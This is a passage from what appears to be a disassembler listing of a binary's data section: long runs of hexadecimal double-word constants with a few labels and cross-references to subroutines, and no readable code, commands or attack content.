		dd 122349DAh, 0D7E832B0h, 0AEBFBC7Bh, 4720387Ch, 1DEB7A0Fh
		dd 0EF244001h, 2A22BCBDh, 0A1C89A0Ch, 6FB31DA0h, 8BBC801h
		dd 2E6118A8h, 0F5948387h, 7BD4B50Bh, 0F3A3FD53h, 5E71AF6h
		dd 8D42FC0Ch, 48F1DB96h, 56E8F807h, 3EAB9302h, 4DC337D8h
		dd 0ADFC508Bh, 232DDCDAh, 6C09A1CEh, 7547F625h,	538F5041h
		dd 7E784E06h, 0FD852056h, 0F075F60h, 70320419h,	0A9A8BCE7h
		dd 0E4183AFCh, 0BB05C310h, 0FDC5A453h, 716BEA54h, 527A727Fh
		dd 79CE284Ah, 0D9305DDAh, 0E10BA6E0h, 6AB2EBD8h, 0FC94ED75h
		dd 62C59DECh, 0A1E0D0AEh, 6B4295D2h, 489BC5F9h,	0DEE98D40h
		dd 83692F8Bh, 0B70826A0h, 1A4DF22Fh, 0EC3631CDh, 0D84EF1F4h
		dd 5D589226h, 1FF5B8A8h, 1DCCD76h, 28672D57h, 0ADB618FAh
		dd 7EBFC0D3h, 0ED9E5098h, 1E42EC2Dh, 73742300h,	0F3636844h
		dd 9718AFB9h, 5444586Bh, 0B93A6180h, 25DED81Eh,	0B60C9944h
		dd 53802588h, 13E66435h, 0F547F0DAh, 0BAE28542h, 0B74A3EF3h
		dd 2760D43h, 89C88B76h,	9C5FC4DAh, 203CB3CBh, 0B6BA85CCh
		dd 76D30098h, 9A0F47AFh, 3AFF122h, 9F0B1AD5h, 15E92206h
		dd 189D4F55h, 0AE83ADF5h
		dd 0A7CADA2Bh, 3990C14Bh, 24C0A80Bh, 2D9640AFh,	0F4B06165h
		dd 77FC32BBh, 0DA446CB6h, 0EA66A282h, 0B1F67619h, 190E2D3Dh
		dd 53A0C86Ch, 26788F5h,	5D515895h, 0EA141A92h, 0C9D449CEh
		dd 6C548D14h, 42946396h, 980A77FBh, 897F7181h, 9B17470h
		dd 0BECAD477h, 391B85A6h, 327BA693h, 60CCACEEh,	7429629Fh
		dd 59817924h, 2F3DCFCEh, 7B7FC1A0h, 0EDF04719h,	42D8B7FAh
		dd 2DF8B2E1h, 74F245E5h, 31B84333h, 0F4075A67h,	19573A3Bh
		dd 0E1248FBEh, 60F7620h, 581DF116h, 9053B9E4h, 24940F18h
		dd 0EC80EF9Ah, 9BC0665Ah, 269192B8h, 0E65613E8h, 33AA2B3Eh
		dd 0B89832C9h, 0D096AA5Bh, 66D20C70h, 766779E3h, 9D8BF2D8h
		dd 6542B579h, 0AE9FBE50h, 72AFB5A0h, 9E697F0Dh,	0A67F84Eh
		dd 1253E051h, 85CEC5C6h, 4E2AB8C0h, 0EF45848Dh,	3365B17h
		dd 4973A8E1h, 0B3C7848h, 0E37F8911h, 0D2CAF09Dh, 0EB988A41h
		dd 0B5027D22h, 0CCEAD2C9h, 6376755Ch, 8F89F94Ch, 0C6D9116Ch
		dd 287B35C7h, 0EA7A1658h, 0D4676394h, 2CD8078Dh, 0D23F83Dh
		dd 4CBBBEE4h, 1D6D739Bh, 5C0D7688h, 0F9C28265h,	0A9EECCCAh
		dd 0D24A3AD8h, 0CA679156h, 4B33CE2Fh, 95050B36h, 3A3E3A16h
		dd 0B9C78872h, 0FDF7DBB4h, 0B6CA1450h, 40C1895h, 0D65BCAD0h
		dd 9A350B39h, 0C857FCA2h, 6C1E5DC2h, 667779A6h,	6EED55A9h
		dd 0CE04F9D6h, 9038095Eh, 5133968h, 0DEFAF1AEh,	0F5BEECAEh
		dd 67D752DFh, 3CBB8731h, 82EE93C9h, 4FCBBB9h, 5735224Bh
		dd 319759FAh, 0A97F7090h, 6DDD7BBDh, 0EB5290CBh, 0E678E6FEh
		dd 0EC220C9Ah, 0DAAB7F47h, 0E2040FBBh, 3DC036DCh, 5BAA6D4Fh
		dd 39416539h, 0A6EE17A6h, 0A860B336h, 6D52257Dh, 1E10CB49h
		dd 764B5527h, 76881C7Ah, 1017BB73h, 8A0400CFh, 793663C3h
		dd 371DF55Ah, 0E39270B6h, 0D9A74CF0h, 0B8873FA9h, 715A1230h
		dd 5EE3E2CCh, 0D39BFF88h, 201BEAA9h, 885631C9h,	7A517AC6h
		dd 823C7B96h, 2582D70Dh, 0B94C5EC9h, 0C29B8C58h, 41A70715h
		dd 0CDEB08F7h, 0E7DB0A74h, 400AE1Dh, 0E408ACE2h, 2000B5F7h
		dd 0F714C799h, 97DB662h, 0BFB0F371h, 0C3C68543h, 9CB9F7A6h
		dd 6D3A5BA0h, 66FF54h, 0D05F9C3Eh, 0CB27C8BFh, 331D39F1h
		dd 6ECEE3F9h, 0D4212326h, 0CFCE726Ah, 93DDA5EBh, 9BEEE6A0h
		dd 2C5CD20Eh, 32E85392h, 14BBFAAh, 0EE7FD469h, 62D73E7Ah
		dd 95EEB8FFh, 0D8729104h, 9CB76B78h, 0DDFAF4A3h, 9A2550CFh
		dd 0C891E159h, 8FD02B55h, 0D6ED7C81h, 0FF9743Bh, 2E4C8B96h
		dd 589039B5h, 579BA24Ch, 0D569B11Eh, 2761B2C0h,	0B9B6E342h
		dd 9877F06Bh, 73C6B477h, 2DB395BAh, 0B3735406h,	0BE91ED59h
		dd 0B6207EA1h, 0C5EF891Bh, 72C9EADAh, 72771E51h, 3EA656CFh
		dd 5CC6E1E8h, 72C3CA82h, 35854F4Dh, 17D757D2h, 4E346C57h
		dd 0CDA43D1Bh, 51925974h, 0EE967BAAh, 0B066B177h, 96BDD20h
		dd 89AD0E11h, 20E51E3Eh, 601E1729h, 21409A19h, 0D68ECDCAh
		dd 0EA69162h, 0A6F47791h, 0F7EC9E31h, 4D5300DEh, 66393845h
		dd 0DCB909AEh, 7E66F454h, 0BB2A893Dh, 0F719DB58h, 8DC466E4h
		dd 0DFE65EB1h, 0C6584D03h, 0D5E4325Fh, 555D810Ch, 5685F0C4h
		dd 0EB2E60D4h, 0D0302E95h, 0F8F95523h, 6160F642h, 3AE85CFDh
		dd 0C1C15683h, 0C77098BEh, 0FC5D159Eh, 0B646AB86h, 0E4275331h
		dd 0C4D062BCh, 47984E98h, 0C6CE702Bh, 0C4675C41h, 2B91297Ah
		dd 24DDFC73h, 0BCD10FF5h, 0CCC22575h, 0C0C5B713h, 0DBADA3A4h
		dd 0E0CBD7B9h, 8193F2CCh, 62E7DA24h, 0C825182Bh, 1708C5FAh
		dd 0AEF11CAFh, 10FF866h, 0BE88B854h, 813706E5h,	2341B217h
		dd 0A2193502h, 6E7F1683h, 6FEDA030h, 2311F28Bh,	0FE5A9117h
		dd 0AFC2AB25h, 6C803E29h, 0C84FB542h, 136EB35Eh, 97F7657Dh
		dd 0D8B7A24Bh, 0AF491891h, 0AE5F5597h, 0B7A73294h, 62C78472h
		dd 40160B18h, 0C4EF7DA9h, 1F3CA6E5h, 0B98DBD4Ch, 1B0EED88h
		dd 4C362AE6h, 7B4D51F5h, 0D8135DD0h, 140E47B4h,	83F6CD34h
		dd 96D3333Ch, 0F59A51E6h, 0BBBD8772h, 3DC8160h,	5354697Ch
		dd 83E4B077h, 6B8B19F3h, 0F81DD169h, 0BB1DED7Fh, 4E7163D2h
		dd 0EB484054h, 35303587h, 0AB30E6Bh, 4D73E6A3h,	397450EDh
		dd 9C3E067Ah, 0CA0BB594h, 1FBCEC8Eh, 0D41B081Dh, 8DA4CB81h
		dd 0CFA165C0h, 4506FDE1h, 67E22CBDh, 379CFB96h,	0C9EB0B2Fh
		dd 0C6B656Ch, 0F20F8266h, 0AEAC20E2h, 563F7547h, 0DAD78FC5h
		dd 2C2BBE20h, 511218BDh, 41E3268Ch, 7AFCEC00h, 94067F8Ah
		dd 3E48C12Eh, 9D1B8380h, 260CFD1h, 0F56CFE03h, 0E9C36968h
		dd 86F19EE3h, 0CB17166Eh, 14E963E8h, 19A99F63h,	412F75EAh
		dd 0E7F7C26Fh, 0BCF00387h, 0B8739458h, 114180C7h, 0C0405598h
		dd 0D4CF9702h, 80809A97h, 6D7F4406h, 0FFBA3C66h, 8DE45478h
		dd 55FB2F6Ah, 4717DEE3h, 3981A6E6h, 4A4D8BCCh, 0FAE151BDh
		dd 384DF6D1h, 5F73BC54h, 0F670BEFh, 0AC136F16h,	0E18330DAh
		dd 17D61105h, 69C782BBh, 3098E412h, 9933FEFAh, 242EFA4Bh
		dd 204510BBh, 76DC65E2h, 4D8BF0D2h, 0DD5F90F3h,	0CB4BCB9h
		dd 0BEF3868Eh, 929ABF42h, 788027A6h, 0C2288339h, 0F9E300CAh
		dd 4BCA7222h, 0D8D56B41h, 0E48F3503h, 0A4D4BACDh, 6B725A0h
		dd 7248392h, 0C4C27926h, 4EBC3807h, 0B6D4C72Bh,	0A03DD898h
		dd 0AB450F2Eh, 7BB16F2Bh, 6AD35172h, 3A73DD32h,	71D2152Eh
		dd 0CFF4D209h, 8A7861E8h, 0AA43334Eh, 2E2E6EBEh, 0D84589AFh
		dd 0FDA1EF9h, 65EDB8D1h, 2EAB6AA2h, 0C18E4256h,	0DFB53139h
		dd 8532E359h, 1AFD25BFh, 32DE076h, 89608267h, 0D56087D1h
		dd 0A48D2294h, 0E4DC82B9h, 373A796Eh, 0C52D0A48h, 381CB3Dh
		dd 23BCA0Ah, 0E8CF1271h, 398AC111h, 6E1F87E8h, 0C498B2B8h
		dd 9C38758Ch, 0E0458722h
		db 3Eh,	0C5h, 55h
dword_3ECAD7	dd 2193860h						; .data:00417E0Br
		db 0FDh
		dd 9C68DCBAh
dword_3ECAE0	dd 0F56CF05Ah						; sub_3E5151+3Dw ...
dword_3ECAE4	dd 0C44357F6h	dword_3ECAE8	dd 6826AC52h						; sub_3E51D6+Ew ...
dword_3ECAEC	dd 0C2D32D79h						; sub_3E51D6+16w ...
		dd 54AEFCAAh, 0FD795523h, 59D43069h, 9B3AF378h,	0FCDA18C4h
		dd 0F28FE22Dh, 2032DF17h, 64CD2C6Fh, 0F1F41FC9h, 0FB05B821h
		dd 7418F666h, 0CE53A0Ah, 208A323Eh, 0D8539454h,	43A3E319h
		dd 3D7F7346h, 42B77CFDh, 26AB4A06h, 93634126h, 8AE2AC24h
		dd 2A3A92AFh, 565CBD6Bh, 0B8761B46h, 147765BAh,	0CB8861CBh
		dd 0BB4481D6h, 378B3A27h, 0C2F69DD7h, 0E75F147Ch, 90037819h
		dd 205A56CCh, 0E56921DEh, 323FD682h, 6DF21BBEh,	0BE32451Eh
		dd 0C2DB5536h, 9BC35A91h, 8BD9A17Ch, 0F1567B62h, 0EDC82495h
		dd 6031E10Fh, 53DAE762h, 0E8B49951h, 8C4B7CD1h,	661686C4h
		dd 0DCB8FE81h, 0CEE366F0h, 131D3522h, 0EEE06071h, 0B781A947h
		dd 0A59C79D5h, 0A71A8B30h, 7FF71CC8h, 5EED9F63h, 63F2084Ch
		dd 72CCF009h, 446A72CDh, 926F26Ch, 4EC3A5E3h, 0E4D13898h
		dd 653F8035h, 0F5EBD3A1h, 0B1E83ED1h, 291207DEh, 26D5F718h
		dd 0F88E5E3h, 1FDE0CA2h, 0D2C5C2Ch, 6598F325h, 0C667218h
		dd 729AC3A2h, 2B2121A4h, 0EE93C8CBh, 0B235F13Fh, 0FDDFFA37h
		dd 0F8594E73h, 660C764Dh, 0F43DE08Bh, 5F04892Fh, 0D2E2BEEh
		dd 44A9E3h, 0BBFE6338h,	97CF240Bh, 0A12F43FCh, 0C3F40B17h
		dd 61A62476h, 0BF624161h, 0C645D805h, 0E7FB615h, 0D2CC72FBh
		dd 0E0A98780h, 67557DB3h, 426314E1h, 3A2748EEh,	0F699D48h
		dd 33EED5AAh, 5BC1CDCDh, 99F216A7h, 1F83191Dh, 4CDDD516h
		dd 0CA0832EAh, 88D854F6h, 2AA47AC0h, 64EFB1E2h,	0C6DA2101h
		dd 0F8C779ECh, 1B26CB1Bh, 67368F98h, 99B4D22h, 0DF6DD8Dh
		dd 5E83B01h, 0E1AF6D9Ch, 97121716h, 0B2A8EE5h, 78B72096h
		dd 60511FABh, 0F3904AAFh, 0D5EAF927h, 0B6CE3392h, 0DEED50D3h
		dd 0D45473D3h, 24B479BBh, 48BDA2CDh, 84F5FBB5h,	0B24AB14Ah
		dd 0C2548625h, 0ED95413Fh, 5E3D4DFh, 421407ECh,	0A8FC2235h
		dd 86A0D99Ah, 0BD9A849Bh, 0C80DA228h, 8CEA000Ah, 0BE7CFADFh
		dd 68DEB0A8h, 0E849BB86h, 24800E5Bh, 0B403C89Ch, 0AD76C8B5h
		dd 51075791h, 0B561C0D1h, 0AEC5E007h, 0E957DC8Dh, 0C01279D9h
		dd 0C834D760h, 0A8A48F84h, 0D9835AECh, 895862C0h, 1D5E74A1h
		dd 1CAAE91Dh, 10FB94A6h, 800B7385h, 0D319DEC8h,	0C2F6A51Ah
		dd 0D483EE0h, 66404AE8h, 67791D45h, 0F40559E4h,	710E2B9Bh
		dd 2675A72Dh, 0CB26DDFEh, 215612Dh, 1EF62EF6h, 0C476E015h
		dd 14D87DE7h, 487CC52Bh, 0B483CEEBh, 8E8F1714h,	83201E1h
		dd 8CFE7C67h, 56283272h, 353EBE17h, 0CBFDB7D9h,	0AA93743h
		dd 0FAE56A33h, 0CE7F75DDh, 0F2AA1D82h, 0E57BD83Fh, 3C7DC578h
		dd 3113DC7Ch, 74931DEEh, 777E3D0Eh, 32277DBCh, 0E88D26B4h
		dd 78C2163Ah, 0F68EA3E2h, 0FCBB4C67h, 61EBA5FBh, 78789DE7h
		dd 0FD64BAA3h, 3C6060FEh, 68453129h, 105CE430h,	0BFF2FCE6h
		dd 457F959Ch, 0D987CB8Ah, 0E7FD6C47h, 24B73B41h, 284F06BBh
		dd 0C17C86FCh, 0E2ECBD01h, 9CE66AECh, 26F9D304h, 3E47EC06h
		dd 71406D69h, 5B50C800h, 4CC4F8B0h, 887B19Ah, 0B7F8831Fh
		dd 3D4A754Dh, 61E7CC65h, 20715FC4h, 61713247h, 0A8215928h
		dd 1DADF2A9h, 0E7DAD48Dh, 0E2717E1Eh, 332D6906h, 76C306A7h
		dd 92447600h, 1ACEFB6Bh, 28872DB6h, 381238BFh, 0C2759548h
		dd 0AFA67AC5h, 9A3031C9h, 0A840054Ch, 803ACEA0h, 1652B8DEh
		dd 4AEA78DCh, 6F51B6Fh,	4D11EDFAh, 3512FF34h, 7270F85h
		dd 25BFD8F7h, 0C85E2E0Eh, 0B9FD25Fh, 77B672D7h,	0EE72F11Fh
		dd 0A852E56Fh, 53609141h, 61286953h, 1519A773h,	1F410DB6h
		dd 0BAEFAF13h, 0DFBF7B96h, 29B4A326h, 0D2D9A72Ch, 83A35C23h
		dd 10C0E944h, 0A0134EA9h, 0C79BC7B6h, 83ADC99Ch, 0A12DED7Eh
		dd 1C88C23Eh, 4A1121B3h, 3A72E912h, 30B869DEh, 52328FD8h
		dd 9AF32256h, 3434BCC4h, 52C368C2h, 38F4324h, 0F6508282h
		dd 63D20CF5h, 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah
		dd 27083CBEh, 0BD176F45h, 0AEB26BA1h, 69C18696h, 21FFF83h
		dd 433E0DC5h, 0B2F958E8h, 0A387ED6Eh, 0ADCECD6Fh, 0CEC060D7h
		dd 75561FEDh, 0A5A4C3C5h, 4E12D317h, 66A5D82Bh,	0A83BE29Eh
		dd 45C6E295h, 2877E718h, 5D0A4DC6h, 1A8E5763h, 7115EB15h
		dd 684E0EFFh, 71159DA0h, 0B7EDFD4Fh, 4EA26D49h,	6BFAC886h
		dd 9B64C9B8h, 0EFEB8548h, 460EF94h, 0DB1DEBBBh,	9F0DFEEEh
		dd 582E5CC6h, 0BAA82135h, 0E620E268h, 78C04C70h, 0C06E89DCh
		dd 7892CD84h, 0C786DD5h, 425738E9h, 9419BF2Eh, 85F421D6h
		dd 0A4EA76EFh, 1E1EC7DBh, 8961E9A6h, 22622DBh, 0FB818DB8h
		dd 0FD249628h, 0BE82575Fh, 0C04F658Ch, 53A98686h, 0E41FA27Ch
		dd 62214139h, 0DA7DB7A8h, 0FC4F16F1h, 67F680A0h, 0D69216BAh
		dd 853783E2h, 0FAF18B55h, 538BA65h, 0FAF716CDh,	9364F269h
		dd 0F8995F6h, 0A0338AC4h, 0E1622696h, 0EE8806F2h, 3F314D26h
		dd 543FB43h, 9ACE793Eh,	0C840BBFh, 271A369Ah, 752486C6h
		dd 8E40A9E7h, 0F5B73BF2h, 0D85836D6h, 8E2023A7h, 0B4EF3755h
		dd 0E50047BCh, 0AC5038FCh, 0AB30C4AAh, 0F0577E06h, 0A2EC558h
		dd 9F60A799h, 0B4A7E1C9h, 0BE098EBFh, 7A7E1E35h, 0C1FF18Fh
		dd 0F63976ACh, 81861C4Ch, 34BC9C0Bh, 934EB294h,	0D6E92A0Ah
		dd 9767BBB2h, 45D0E82Bh, 7A8CE716h, 0C9BFECAAh,	2D3AF53Ah
		dd 0D27A866h, 0C91796FDh, 4F6A44FDh, 3FC3EFD8h,	0E9FB1923h
		dd 0B90B1Bh, 0DE62AD2h,	652B9215h, 9CA2D02Fh, 0B813FE54h
		dd 0B6F39A57h, 95DBCBE7h, 0E068154Fh, 0F1A4CC55h, 6AF0267Bh
		dd 4CD3EE63h, 6B74E35Ch, 28141AF1h, 92F2B92Ch, 0F9417F10h
		dd 959E08E1h, 0B6A38570h, 3B86514Eh, 94C22B99h,	57C7CE4Dh
		dd 71CDA46Dh, 8FE1F220h, 0E9E05DBEh, 19BB7DC3h,	19040F92h
		dd 0EFA584B5h, 115A81BBh, 4EA80224h, 0E3140D23h, 0EE505D1Ah
		dd 4E4413ABh, 0DA63A0BFh, 0DCB63FB4h, 0E017B10Fh, 1966724Ch
		dd 0E7968E85h, 6AB066FCh, 75C19F7Fh, 0ED473BA8h, 3FD49F49h
		dd 0ED5C2264h, 0E86BEF93h, 0C2BE2C29h, 4AE81BE6h, 210CCF88h
		dd 0F7083DE3h, 0C761D8C6h, 1C9F3F4Fh, 2C72C4C2h, 0E3257FC0h
		dd 4A1BC408h, 20BF43B2h, 32088560h, 53570A79h, 2772CFEBh
		dd 9D78D8A6h, 7C5118B4h, 0A210831Ch, 5E052E48h,	6BF834C5h
		dd 25875Ah, 6058EC71h, 0BADF305Ch, 698C4172h, 1FDC6D80h
		dd 4ED1084Eh, 533B7842h, 79CFB967h, 0BCECFF5Bh,	8AA7B6E8h
		dd 27C6F3AFh, 27C4574Bh, 0A5B55F33h, 0D9BACE1Bh, 9E72731Ah
		dd 459B0FE8h, 0F64347DBh, 1C5BDCCh, 2CB550FFh, 2C47B64Ah
		dd 56153CA4h, 87967B3Eh, 5F162A39h, 0E3D2039Bh,	0E30F79CEh
		dd 0C10945F6h, 142CE02Fh, 6B76862h, 0F6E5E72h, 0D1E37E71h
		dd 0DAA3B2DCh, 0FE641F47h, 0C23261A4h, 130BF306h, 0FDAEC34Bh
		dd 0EC62DB9Ch, 0E1F08996h, 0E72393FAh, 765A3BCBh, 8AC009FEh
		dd 0DA4B7E63h, 84D0755h, 0F7828DD1h, 82419A09h,	273062D0h
		dd 89243964h, 5A14C300h, 0EBB87BC7h, 1B4A62B7h,	4862B23Eh
		dd 90311B2Eh, 0D04C346h, 92F97D20h, 0F571FF67h,	72F884BAh
		dd 2B113C51h, 821A697Dh, 9B57DC3Dh, 0D1178DBEh,	5262720Bh
		dd 0CE3BFB71h, 0D0CB26ABh, 557411CEh, 41A3E274h, 355C8CDEh
		dd 0A50EF9C1h, 0CB9422BFh, 0C9FDFC66h, 33A047C7h, 9FDA2F99h
		dd 0E6BC5B3h, 0D6863597h, 21D80077h, 8B6132D8h,	7BD76797h
		dd 93CAC55Fh, 94D9992Ch, 1E65EC35h, 66EE51B0h, 93A3D119h
		dd 716606A5h, 728BBAB2h
		dd 3117549Eh, 0F1D97F45h, 59A4C77Fh, 0DB3730h, 52969434h
		dd 0BEC75C1Fh, 56836771h, 0AAEFA3E6h, 33B6B7D8h, 0F4C2A67Fh
		dd 8D5AE2E8h, 0BAAD4097h, 0CAB236D6h, 4BEBF738h, 487D6AD3h
		dd 4031A7F5h, 164CFDD0h, 2A7566DCh, 0FFCB013Ch,	31FB4FBEh
		dd 38DC558Eh, 9F8ECA9Dh, 4ABB8E9h, 106B5717h, 0A4FD2EB4h
		dd 8ECCF8D1h, 5F2FB14Bh, 3CAD7B65h, 17767BB3h, 0CC8853B4h
		dd 0CC7C9584h, 0DD057F39h, 5F258A60h, 0A63180E8h, 6E8DD79Ah
		dd 9A1C72EFh, 0D854493Dh, 0B9EA2346h, 61C20047h, 0BFD646h
		dd 0A69EB493h, 96C84491h, 9360316Ah, 0A784A5C9h, 0C9F368D2h
		dd 0B56FAAB2h, 8517D8F5h, 9A383EA5h, 7461303Eh,	6A106788h
		dd 65106F30h, 0E5F98E05h, 9D287DDAh, 96BCE8A3h,	78DF5AE4h
		dd 0F5CD0D25h, 12416896h, 9885ABB0h, 285AA598h,	0F1D91480h
		dd 0F0D4B50Bh, 0C3197805h, 854C44DCh, 0AABD1E4Eh, 9CC74F3Eh
		dd 5DFA92C8h, 1F5BD7A5h, 0C686CF0Ah, 853A26E6h,	0B0E05F83h
		dd 7610413Ch, 0DB809463h, 9D4D1A8Bh, 85DD06C6h,	73952DC9h
		dd 7BF29AEh, 0DD8194F8h, 3C40315Ch, 72664792h, 0F631CF03h
		dd 0FCB4BEF6h, 4429AEEh, 0F462CDBBh, 0D1BE04D0h, 9A60E73h
		dd 0F925CB36h, 0B0EC544Eh, 69B7D061h, 0D2781E7Ah, 0F82E5A4Dh
		dd 58D45B5Dh, 0EB7609E4h, 5829D00Bh, 0CA57F0FDh, 2F7C600Dh
		dd 3E198DCCh, 15D17214h, 9562B6F6h, 8419860Ch, 48478C6Fh
		dd 3FC63938h, 2DBEC3F1h, 0F761C78Dh, 495D3D05h,	0E7E72A8Bh
		dd 25323382h, 6CDC51B1h, 1F9EB50Eh, 0BFF7BF8Bh,	0B1AC152Ah
		dd 0BC10F1F0h, 0A5E2AA4Ah, 9E53DFAEh, 7F31DBAh,	70E1D221h
		dd 644579A8h, 506A45D1h, 3A68A888h, 407D5001h, 0E9D218D9h
		dd 1945D813h, 2AA230C6h, 78D5D78Dh, 44E10274h, 0B770DCB6h
		dd 0A0E77164h, 0D7F9B5CCh, 0DEDD419Bh, 0C3A9C197h, 0C7FB36EAh
		dd 6CB4F4DCh, 0EF5AB53Ah, 0C0C73BA6h, 9E90DD3Dh, 0AD63D6A5h
		dd 25F319D6h, 2DA4F495h, 5A0ACCDCh, 48E25A4Fh, 0E280AB3Fh
		dd 7394B428h, 0D9C9E2A6h, 363046B2h, 37A80549h,	8F52432Dh
		dd 14B5BF97h, 0B4985931h, 3572F799h, 4C5371EDh,	11D15D3h
		dd 0C97FE501h, 1A229E7Eh, 0D471D174h, 12E53254h, 0ABEB742Dh
		dd 90877550h, 99666BF8h, 0A2188272h, 0E22EE80Dh, 0F520040Ah
		dd 0FF60D8Dh, 2FE4914Dh, 77255F8Ah, 212D021Fh, 5724A2D0h
		dd 847E5205h, 5C18DE99h, 96F7FAC2h, 0DCA9ED69h,	22A4BAD6h
		dd 0A74F6698h, 0E53541B5h, 30C2DBDh, 0EC690B94h, 770C232Dh
		dd 6FF7C67Fh, 0FE59D72Bh, 53ACE7B4h, 85456D00h,	69E9BDEEh
		dd 0FBF6CCC5h, 2E68B55Dh, 83DCFFA0h, 0D40A39B6h, 0CCC883A4h
		dd 0CB56CC1Eh, 7145F9FBh, 89C1B56h, 0DA191AFDh,	0B450C1D9h
		dd 4E41F268h, 7E86DCD9h, 6CE1CBA2h, 0EAD05047h,	5567D4F0h
		dd 0F7A4AED4h, 107E3776h, 367FDBAFh, 674444Bh, 1D741CFBh
		dd 312622EBh, 99E8C41Eh, 4397B3B8h, 7023AF5Eh, 64460DDBh
		dd 0FF6B18E1h, 0EC6166ACh, 6D72F8BEh, 1561C6DBh, 7D44A779h
		dd 2BDC130Ch, 80B00C96h, 9A742A2Ah, 19CD753Ch, 84CF1E61h
		dd 33132FDAh, 0F2172332h, 660912E1h, 0C1F577FDh, 2D028854h
		dd 446E5718h, 0A67CBC4Fh, 5046205Bh, 0E0923647h, 219E66F0h
		dd 0E9B43197h, 52349C43h, 3A30FD5Ah, 2A612E5Fh,	2F5803C2h
		dd 0A28E2885h, 0D07732F4h, 87151738h, 3A1B85A8h, 611250C7h
		dd 7AF70083h, 0DCE4EE7h, 588E2AFAh, 7423CF04h, 57C16F13h
		dd 0EA8ECD5Fh, 0CA53C140h, 8670F557h, 0D7978019h, 0EE8E95CCh
		dd 0C4B558FCh, 12BC2FC8h, 488955FCh, 0BE456860h, 7CF794F3h
		dd 1CE7CEC7h, 0B4ABFF35h, 62869810h, 48473CB1h,	0FBA9C4E0h
		dd 0CD5CCD6Ah, 0AEF4C004h, 0F3E34E2h, 1280EA18h, 0FDB1C5E8h
		dd 0A8E3A296h, 5598C25Ah, 730824Ah, 674559B9h, 65E962D7h
		dd 0C891D96Ah, 568FBF6Eh, 0CF5F835Eh, 0AE27F8C5h, 0E786BA30h
		dd 4FC59C25h, 2F6CE64Fh, 7DDA8AF7h, 0D3FB93Dh, 1FEFBE61h
		dd 6984BDA1h, 0E2EC54E3h, 94283894h, 209D4D6Ah,	4A5CB29Ch
		dd 0B0F82785h, 0D975B5A9h, 668864F5h, 0D2DF48D2h, 0AD86FD1Ch
		dd 1FFE83C5h, 0AE26B791h, 0B87BFE6Bh, 0C134152Dh, 0CE16EC63h
		dd 0D67A87AEh, 71DFFA23h, 7852B506h, 4EFD58D0h,	7221A950h
		dd 0DA106053h, 9E255848h, 2FD71A18h, 69D8A1B0h,	366F1E0h
		dd 2F7428ABh, 0F1DB855Bh, 0CF41E2FEh, 0AFCBE2EEh, 34401AC7h
		dd 82474B93h, 376EF180h, 8B08C338h, 8D7C7E32h, 23D23FCAh
		dd 0C76A664Fh, 7275E729h, 7D5B6220h, 0BCF824CAh, 64F1A2A6h
		dd 9863A830h, 0A241441Dh, 0C1DC842Dh, 4C380903h, 6CFC879Ah
		dd 4D815570h, 0C34AEA9Eh, 0A234BAC6h, 1F7711B6h, 8C1C2C3Fh
		dd 0EE319272h, 848C74C2h, 0BEBF08C3h, 0E7A6B3A4h, 0D3AFE182h
		dd 9C851127h, 173AD1ACh, 38747F87h, 4B7FAECFh, 8D9CABC8h
		dd 7F5E505Dh, 0E8F78274h, 1D1FA14Fh, 679B6668h,	0FB47148Ch
		dd 0C3639665h, 80333EAEh, 3218850Ah, 0AD1BAC01h, 76AAB3D7h
		dd 5EC2E8CEh, 19EEE092h, 0ADFFFC19h, 4A049721h,	914D5F6Ch
		dd 6CD35EC8h, 0BD3EBEB4h, 0C3439B73h, 36972741h, 268D53FAh
		dd 5DE6A8CAh, 298DDE53h, 5AB318D3h, 96A0B01Eh, 0AFD7F244h
		dd 0BC227524h, 6FD84527h, 7DBA24E0h, 18E71A33h,	0A6F8FED8h
		dd 820B3D0Bh, 87ABE2C6h, 29BCF0F3h, 78B4157Fh, 7AFC18EDh
		dd 86D5A515h, 56ACCBADh, 0A39E3145h, 1663C08h, 0E1E256F8h
		dd 0D5EA92Ah, 0D8F871DFh, 0E0C1AAF7h, 4213CF67h, 264F7124h
		dd 0B85DAC8Fh, 0EC667ACDh, 1599D1A1h, 0ED92F394h, 6A0C3E8Eh
		dd 4456BCCCh, 42DB5ECBh, 80A0F7A1h, 1F0B601Fh, 0CBB99025h
		dd 941D303Ch, 9F802D9Bh, 0C9C7DF73h, 31CEB24h, 2D9CADEEh
		dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h
		dd 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh,	8DA09857h
		dd 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h,	10FC5C06h
		dd 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h
		dd 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh
		dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h
		dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h,	820B3D0Bh
		dd 10A5305h, 2D871E30h,	78B4157Fh, 7AFC18EDh, 0D3801B6Fh
		dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah
		dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h,	0BF3FC63Bh
		dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh,	4456BCCCh
		dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h
		dd 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh,	91FE5E96h
		dd 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h, 38807BE2h
		dd 3063E4B0h, 7EA53E3Ch, 0B56C02ADh, 8DA09857h,	335BD7DBh
		dd 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h,	699D3642h
		dd 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh
		dd 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h
		dd 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h
		dd 7DBA24E0h, 18E71A33h, 7C2CF835h, 6CE88FA9h, 0D1B08BE0h
		dd 0F9AC32BDh, 0AFD09CEFh, 0B1081D4h, 28DA9109h, 0CD2F4D99h
		dd 6CACADC2h, 0C568B319h, 95F57C4h, 0B0017763h,	0E5226F8Eh
